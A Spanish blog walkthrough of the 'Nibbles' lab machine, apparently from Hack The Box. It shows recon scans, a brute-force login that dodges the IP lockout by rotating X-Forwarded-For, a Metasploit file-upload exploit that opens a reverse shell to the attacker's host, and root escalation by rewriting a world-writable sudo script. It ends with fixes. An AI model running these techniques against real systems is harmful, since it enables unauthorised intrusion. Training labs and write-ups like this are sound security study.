Entrada

Nibbles

Un blog Nibbleblog 4.0.3 escondido en un directorio oculto cae por un file upload autenticado tras saltarse su protección anti-fuerza-bruta con la cabecera X-Forwarded-For, y un monitor.sh world-writable ejecutable con sudo abre la puerta a root.

Nibbles

Publicado por Jaime Hereza Niño

Publicado 25/10/2026
9 min de lectura
Mi puntuación
49695 votos
MáquinaSODificultadIP
NibblesLinuxEasy10.129.96.84

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.129.96.84 nibbles

Resumen

Nibbles es un Linux de dificultad fácil, pero de los que enseñan más que muchos de dificultad media: casi todo el trabajo está en la enumeración. El puerto web no muestra nada — un simple Hello world! — y el camino real sólo aparece si te molestas en leer el código fuente de la página.

Ahí dentro hay un Nibbleblog, un gestor de blogs en PHP, en una versión con un fallo conocido. El problema es que explotarlo requiere estar autenticado, y el panel bloquea tu IP si fallas demasiadas veces al intentar adivinar la contraseña. La gracia de la máquina está en saltarse ese bloqueo falsificando la IP de origen con una cabecera HTTP.

Una vez dentro, un file upload da ejecución de código, y la escalada es un clásico de libro: un script que podemos ejecutar como root con sudo… y sobre el que además tenemos permiso de escritura.

Vulnerabilidad

Tres piezas encadenadas: una para descubrir el objetivo, otra para entrar y otra para quedarse con la máquina.

01 · Credenciales débiles y bypass del bloqueo por IP

El panel de administración de Nibbleblog protege el login metiendo en una blacklist temporal la IP que falla varias veces seguidas. Pero para decidir qué IP bloquear se fía de cabeceras como X-Forwarded-For, que el cliente controla. Rotando el valor de esa cabecera en cada petición, cada intento parece venir de una IP distinta y el bloqueo nunca llega a saltar — lo que deja vía libre a un ataque de fuerza bruta contra una contraseña, además, débil.

02 · Arbitrary File Upload en Nibbleblog 4.0.3 (autenticado)

El plugin My image de Nibbleblog 4.0.3 «Coffee» no valida la extensión ni el tipo del fichero que se sube. Un administrador autenticado puede subir un .php en lugar de una imagen y acceder a él en /content/private/plugins/my_image/, consiguiendo ejecución remota de código. Está automatizado en el módulo de Metasploit nibbleblog_file_upload.

03 · Escalada por sudo sobre un script modificable

El usuario nibbler puede ejecutar como root y sin contraseña el script monitor.sh. El fallo es doble: no sólo está en la lista de sudo, sino que sus permisos son -rwxrwxrwx, así que cualquiera puede reescribir su contenido. Metemos dentro una shell y la ejecutamos con sudo: se lanza como root.

Reconocimiento

Caja negra: lo primero es ver qué hay escuchando. Barrido completo de puertos contra la víctima, pidiendo de paso que adivine el sistema operativo

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess nibble
PuertoServicio
22ssh
80http

Sólo dos puertos: 22 (SSH) y 80 (HTTP), y un sistema que nmap sitúa en un Linux 3.X|4.X. Sin credenciales, SSH no da juego de momento, así que todo el peso recae en el servidor web.

Escaneo completo de puertos y detección de sistema operativo
Figura 1: Escaneo completo de puertos y detección de sistema operativo

Enumeración

Afino versión sobre los dos puertos abiertos

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p 22,80 -sCV --version-intensity 9 -n nibble
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html).
Enumeración de versiones de los servicios
Figura 2: Enumeración de versiones de los servicios

Un Apache 2.4.18 sobre Ubuntu Xenial y un OpenSSH acorde. Confirmo el servidor con whatweb, que no añade gran cosa

┌──(jaime㉿kali)-[~]└─$ whatweb http://nibble.htb
http://nibble.htb [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.96.84]
Tecnologías detectadas en el servidor
Figura 3: Tecnologías detectadas en el servidor

Un fuzzing de rutas sobre la raíz tampoco revela nada interesante: apenas el index.html y un /server-status protegido

┌──(jaime㉿kali)-[~]└─$ dirsearch -u http://nibble.htb/
200 - 93B - /index.html 403 - 299B - /server-status/
Rutas descubiertas en la raíz
Figura 4: Rutas descubiertas en la raíz

Y la web, en efecto, no tiene nada: un escueto Hello world! y punto

Página principal del servidor
Figura 5: Página principal del servidor

Aquí es donde la máquina premia la curiosidad. Antes de rendirme, miro el código fuente de esa página tan vacía, y entre las líneas hay un comentario que lo cambia todo

<!-- /nibbleblog/ directory. Nothing interesting here! -->
Directorio oculto revelado en el código fuente
Figura 6: Directorio oculto revelado en el código fuente

Ese «nada interesante por aquí» es, por supuesto, justo lo contrario. En /nibbleblog/ aparece un blog de verdad: Nibbles — Yum yum, montado sobre Nibbleblog

Blog oculto ennibbleblog/
Figura 7: Blog oculto en /nibbleblog/

Con un objetivo real delante, vuelvo a enumerar, ahora sobre el blog. Wappalyzer sólo delata RSS y jQuery

Tecnologías del blog según Wappalyzer
Figura 8: Tecnologías del blog según Wappalyzer

y whatweb confirma el gestor: Nibbleblog, con cookie PHPSESSID y el título Nibbles - Yum yum

┌──(jaime㉿kali)-[~]└─$ whatweb http://nibble.htb/nibbleblog
Nibbleblog detectado por whatweb
Figura 9: Nibbleblog detectado por whatweb

Fuzzeo también el directorio del blog, y aquí sí hay carne: un panel admin.php, un install.php, un update.php, el README y, sobre todo, un /content/ con directory indexing activado

┌──(jaime㉿kali)-[~]└─$ dirsearch -u http://nibble.htb/nibbleblog
Rutas descubiertas en el blog
Figura 10: Rutas descubiertas en el blog

Con el directory listing abierto, toca navegar a mano. El /content/ cuelga tres carpetas: private, public y tmp

Índice del directoriocontent/
Figura 11: Índice del directorio /content/

En /content/public/upload/ ya se intuye por dónde vendrá el ataque — es donde Nibbleblog guarda lo que se sube

Directorio de subidas del blog
Figura 12: Directorio de subidas del blog

pero lo jugoso está en /content/private/: ficheros de configuración en XML sin ninguna protección

Ficheros privados del blog expuestos
Figura 13: Ficheros privados del blog expuestos

Entre ellos, el update.php y el config.xml confirman la versión exacta — Nibbleblog 4.0.3 «Coffee» — y filtran el correo del administrador, admin@nibbles.com

Versión del blog en update.php
Figura 14: Versión del blog en update.php
config.xml con la versión y el correo del administrador
Figura 15: config.xml con la versión y el correo del administrador

El README remacha el dato de la versión

Versión confirmada en el README
Figura 16: Versión confirmada en el README

Y un nikto de paso sobre el blog destaca justo lo que ya sospechábamos: directory indexing, el panel admin.php y acceso a la configuración

┌──(jaime㉿kali)-[~]└─$ nikto -h http://nibble.htb/nibbleblog
Escaneo de nikto sobre el blog
Figura 17: Escaneo de nikto sobre el blog

El fichero que más me interesa es el users.xml: ahí enumero los usuarios del panel. Sólo hay uno — admin — y de paso veo la blacklist de IPs bloqueadas por intentos fallidos

Usuario admin y blacklist en users.xml
Figura 18: Usuario admin y blacklist en users.xml

Tengo usuario pero no contraseña. La opción obvia es la fuerza bruta contra admin.php, pero aquí está el truco de la máquina: en un intento anterior comprobé que tras unas pocas peticiones fallidas el panel mete tu IP en esa blacklist y te corta. Así que monto el ataque con Burp Suite — un login normal con admin:password devuelve el típico «Incorrect username or password»

Petición de login base en Burp
Figura 19: Petición de login base en Burp

La idea para esquivar el bloqueo es falsificar la IP de origen con la cabecera X-Forwarded-For. Primero verifico que el servidor la acepta

El servidor acepta la cabecera X-Forwarded-For
Figura 20: El servidor acepta la cabecera X-Forwarded-For
Cada IP falsificada se trata como un cliente distinto
Figura 21: Cada IP falsificada se trata como un cliente distinto

y que admite el fuzz: cambiando su valor en cada petición, cada intento llega como si viniera de una IP nueva, así que el bloqueo por IP nunca se dispara y la fuerza bruta puede correr sin frenos

Fuzzing de la cabecera para saltarse la blacklist
Figura 22: Fuzzing de la cabecera para saltarse la blacklist

Con el bloqueo fuera de juego, la fuerza bruta sobre la contraseña de admin termina devolviendo una credencial tan pobre como el nombre de la propia máquina: admin:nibbles.

Explotación

Ya autenticado y con la versión fijada, busco qué arrastra ese Nibbleblog 4.0.3

┌──(jaime㉿kali)-[~]└─$ searchsploit nibbleblog
Nibbleblog 3 - Multiple SQL Injections | php/webapps/35865.txt Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit) | php/remote/38489.rb
Exploit disponible para Nibbleblog 4.0.3
Figura 23: Exploit disponible para Nibbleblog 4.0.3

El que encaja es el Arbitrary File Upload, pero sólo viene como módulo .rb de Metasploit, así que me obliga a tirar de la consola. Cargo el módulo, le paso las credenciales y la ruta del blog, y lo lanzo

┌──(jaime㉿kali)-[~]└─$ msfconsole -q
msf> use exploit/multi/http/nibbleblog_file_upload msf> set RHOSTS nibble.htb msf> set TARGETURI /nibbleblog msf> set USERNAME admin msf> set PASSWORD nibbles msf> set LHOST 10.10.15.95 msf> run
[*] Started reverse TCP handler on 10.10.15.95:4444 [*] Deleted image.php [*] Command shell session 27 opened (10.10.15.95:4444 -> 10.129.96.84:40960)

El módulo sube un image.php malicioso a través del plugin My image, lo invoca para disparar la shell y lo borra para no dejar rastro. Al otro lado tengo ejecución de comandos como nibbler

whoami nibbler
Shell obtenida como nibbler
Figura 24: Shell obtenida como nibbler

Esa sesión es una shell básica php/php, incómoda para moverse. La promociono a una meterpreter con el módulo shell_to_meterpreter, que además me da una shell mucho más estable

msf> use post/multi/manage/shell_to_meterpreter msf> set SESSION 27 msf> run
Sesión promocionada a Meterpreter
Figura 25: Sesión promocionada a Meterpreter

Desde la meterpreter abro una shell interactiva, me paso por el /bin/bash -i y salto al home de nibbler, donde ya me espera la primera bandera

meterpreter> shell
┌──(jaime㉿kali)-[~]└─$ /bin/bash -i
nibbler@Nibbles:~$ cat user.txt 1e0d9b4de822f905f61739e2727a4443
Lectura de la flag de usuario
Figura 26: Lectura de la flag de usuario

Escalada de privilegios

Lo primero al aterrizar como nibbler es comprobar qué puedo ejecutar con privilegios

nibbler@Nibbles:~$ sudo -l
User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Permiso sudo sobre monitor.sh
Figura 27: Permiso sudo sobre monitor.sh

Puedo lanzar monitor.sh como root y sin contraseña. El detalle es que, junto a user.txt, en el home hay un personal.zip, y ese script vive dentro. Lo descomprimo para tenerlo en disco

nibbler@Nibbles:~$ unzip personal.zip
Archive: personal.zip creating: personal/ creating: personal/stuff/ inflating: personal/stuff/monitor.sh
Extracción de personal.zip
Figura 28: Extracción de personal.zip

Y aquí está el regalo: el monitor.sh tiene permisos -rwxrwxrwx, es decir, es escribible por cualquiera. Como además lo puedo ejecutar como root, basta con cambiar su contenido por una shell

nibbler@Nibbles:~/personal/stuff$ ls -l monitor.sh
-rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh
monitor.sh es world-writable
Figura 29: monitor.sh es world-writable

Intento editarlo con nano, pero la shell no es un terminal de verdad y me lo rechaza con un «Error opening terminal: unknown»

nano falla por no haber un terminal interactivo
Figura 30: nano falla por no haber un terminal interactivo

No hace falta un editor para esto. Reescribo el script entero de un plumazo con echo y una redirección, dejándolo con una única línea que lanza una shell

nibbler@Nibbles:~/personal/stuff$ echo "/bin/bash -i" > monitor.sh
Reescritura de monitor.sh con echo
Figura 31: Reescritura de monitor.sh con echo

Ahora sólo queda ejecutarlo con sudo: el script corre como root y, al ser nuestra shell, nos deja una consola con el máximo privilegio. Desde ahí leo la última bandera

nibbler@Nibbles:~/personal/stuff$ sudo -u root ./monitor.sh root@Nibbles:~/personal/stuff# whoami root root@Nibbles:/root# cat root.txt e3af4cebe4ca0347bd6b5d77c1e8648f
Shell como root y lectura de la flag
Figura 32: Shell como root y lectura de la flag

Flags

La de usuario, en el home de nibbler

nibbler@Nibbles:~$ cat user.txt 1e0d9b4de822f905f61739e2727a4443

Y la de root, tras la escalada

root@Nibbles:/root# cat root.txt e3af4cebe4ca0347bd6b5d77c1e8648f

Cómo se arregla

La máquina acumula varios fallos pequeños que, juntos, dan root. Por capas:

  • Actualizar Nibbleblog: la versión 4.0.3 arrastra el file upload del plugin My image. Migrar a una versión soportada — o abandonar un gestor sin mantenimiento activo — cierra el vector de entrada.
  • No fiarse de X-Forwarded-For: la protección anti-fuerza-bruta debe basarse en la IP real de la conexión, no en una cabecera que el cliente puede falsificar. Mejor aún, combinarla con rate-limiting, bloqueo por cuenta y un segundo factor.
  • Contraseñas fuertes: nibbles como contraseña de admin se cae con cualquier diccionario. Credenciales largas y únicas convierten la fuerza bruta en inviable aunque el bypass del bloqueo funcione.
  • Desactivar el directory indexing: el listing de /content/ expone configuración, usuarios y la versión exacta. Apagarlo en Apache y proteger /content/private/ corta media enumeración.
  • Revisar los permisos de sudo: un script ejecutable como root nunca debe ser escribible por el usuario que lo lanza. Quitar los permisos -rwxrwxrwx de monitor.sh (o sacarlo de la lista de sudo) elimina la escalada.

Conclusiones

Buena máquina, de nivel sencillo, recomendable

Esta entrada está licenciada bajo CC BY 4.0 por el autor.